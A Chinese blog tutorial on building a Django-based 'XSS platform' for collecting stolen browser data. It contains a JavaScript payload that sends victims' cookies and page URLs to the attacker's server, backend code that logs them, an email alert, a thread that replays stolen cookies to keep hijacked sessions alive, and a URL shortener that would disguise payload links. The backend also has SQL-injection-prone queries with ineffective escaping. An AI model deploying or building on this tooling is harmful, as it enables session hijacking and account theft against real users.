1) 简要描述
原理十分简单2333,代码呆萌,大牛勿喷 >_<
2) 基础知识
- XSS攻击基本原理和利用方法
- Django框架的使用
3) Let's start
0x01
工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:
- python 3.7.0
- pycharm
- windows 10
- mysql 8.0.15
- Django 2.1.3
需要用到的第三方库:
0x02
我们先看一下XSS脚本是如何工作的
- var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
- try {
- return document.location.href
- } catch(e) {
- return ''
- }
- })()) + '&toplocation=' + escape((function() {
- try {
- return top.location.href
- } catch(e) {
- return ''
- }
- })()) + '&cookie=' + escape((function() {
- try {
- return document.cookie
- } catch(e) {
- return ''
- }
- })()) + '&opener=' + escape((function() {
- try {
- return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
- } catch(e) {
- return ''
- }
- })());
- })();
这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。
注意:这里使用AJAX可能会出现CORS跨域问题。
0x03
先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。
- """
- 根据url值动态返回相应的javascript代码
- """
- import pymysql,os
- from user.safeio import re_check
-
- def get_info(url):
- if not re_check(url,'num_letter'):
- return 'default'
- db = pymysql.connect('localhost','root','root','xss')
- cursor = db.cursor()
- cursor.execute("Select name From projects Where url='"+url+"'")
- js_name = cursor.fetchone()[0]
- if js_name == None:
- return 'default'
- else:
- return (js_name)
-
- def get_js_value(url):
- js_name = get_info(url)
- file = '\\script\\'+js_name + '.js'
- js_value = open(os.getcwd()+file).read()
- js_value = js_value.replace('<-1234->',url)
- return js_value
- import pymysql,time
- from .getscript import get_info
-
- def connect():
- try:
- db = pymysql.connect('localhost', 'root', 'root', 'xss')
- cursor = db.cursor()
- return db,cursor
- except:
- print('连接数据库失败,正在尝试重新连接')
- connect()
-
- def put_letter(requests,url):
- now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]
- if 'HTTP_X_FORWARDED_FOR' in requests.META:
- ip = requests.META['HTTP_X_FORWARDED_FOR']
- else:
- try:
- ip = requests.META['REMOTE_ADDR']
- except:
- ip = '0.0.0.0'
- ip = ip.replace("'","\'")
- origin = requests.GET.get('location','Unknown').replace("'","\'")
- software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
- method = requests.method.replace("'","\'")
- data = requests.GET.get('cookie','No data').replace("'","\'")
- keep_alive = requests.GET.get('keepsession','0').replace("'","\'")
- list = [now_time,ip,origin,software,method,data,keep_alive]
- put_mysql(list,url)
-
- def put_mysql(list,url):
- db,cursor = connect()
- name = get_info(url)
- cursor.execute("Select user From projects Where url='"+url+"'")
- user = cursor.fetchone()[0]
- m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
- m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
- cursor.execute(m_query)
- db.commit()
- db.close()
-
- def get_letters(username):
- db, cursor = connect()
- m_query = "SELECT * FROM letters WHERE user = '{}'"
- m_query = m_query.format(username)
- cursor.execute(m_query)
- result_list = cursor.fetchall()
- return result_list
-
既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。
0x04
我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等
- #coding=utf-8
-
- '''
- 邮件发送
- '''
-
- import smtplib
- from email.mime.text import MIMEText
- from email.utils import formataddr
-
- my_sender='xxxx'
- my_pass = 'xxxx'
-
- def send_mail(user_mail):
- try:
- print(user_mail)
- msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8')
- msg['From']=formataddr(["XSS平台",my_sender])
- msg['To']=formataddr(["顾客",user_mail])
- msg['Subject']="您点的外卖已送达,请登录平台查询"
- server=smtplib.SMTP_SSL("smtp.qq.com", 465)
- server.login(my_sender, my_pass)
- server.sendmail(my_sender,[user_mail,],msg.as_string())
- server.quit()
- except Exception:
- pass
- '''
-
- 使用独立于主线程的其他线程
-
-
- 来保持通用项目的cookie信息'活性'
-
-
- 默认保持一个小时的活性
- '''
-
- import requests,queue,time,pymysql
-
- Cookie_Time = 1
-
- def decrease(time,number):
- if time < number:
- time = '0'+str(time)
- else:
- time = str(time)
- return time
-
- def count_time(now_time):
- global Cookie_Time
- year = int(now_time[0:2])
- month = int(now_time[3:5])
- day = int(now_time[6:8])
- hours = int(now_time[9:11])
- if hours < Cookie_Time:
- if day == 1:
- if month == 1:
- month=12
- year -= 1
- else:
- day=30
- month -= 1
- else:
- day -= 1
- hours += 19
- else:
- hours -= 5
- hours = decrease(hours,10)
- day = decrease(day,10)
- month = decrease(month,10)
- year = decrease(year,10)
- dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
- return dec_time
-
- def create_queue():
- Cookie_queue = queue.Queue()
- now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]
- dec_time = count_time(now_time)
- m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
- db = pymysql.connect('127.0.0.1','root','root','xss')
- cursor = db.cursor()
- cursor.execute(m_query)
- return_list = cursor.fetchall()
- for x in return_list:
- Cookie_queue.put(x)
- return Cookie_queue
-
- def action():
- while True:
- time.sleep(60)
- task_queue = create_queue()
- while not task_queue.empty():
- tasks = task_queue.get()
- url = tasks[1]
- ua = tasks[0]
- cookie = tasks[2]
- headers = {'User-Agent': ua, 'Cookie': cookie}
- try:
- requests.get(url, headers=headers)
- except:
- pass
-
注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:
- import threading
- from xssplatform.keep_alive import action
-
- class keep_Thread(threading.Thread):
- def __init__(self):
- super(keep_Thread,self).__init__()
- def run(self):
- action()
-
- if __name__ == '__main__':
- th = keep_Thread()
- th.start()
-
短链接:
- '''
- 短链接生成
- 接口c7.gg
- '''
-
- import requests,json
-
- Headers = {
- "accept" : "application/json, text/javascript, */*; q=0.01",
- "accept-encoding" : "gzip, deflate, br",
- "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",
- "content-length" : "53",
- "content-type" : "application/x-www-form-urlencoded; charset=UTF-8",
- "origin" : "https://www.985.so",
- "referer" : "https://www.985.so/",
- "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
- }
-
- def url_to_short(url):
- global Headers
- data = {'type':'c7','url':url}
- r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
- list = json.loads(r.text)
- return list['list']
-
4) 最后
其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。
此项目已开源于 Github ,有任何问题可以提交issue,我会在第一时间进行回复。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持w3xue。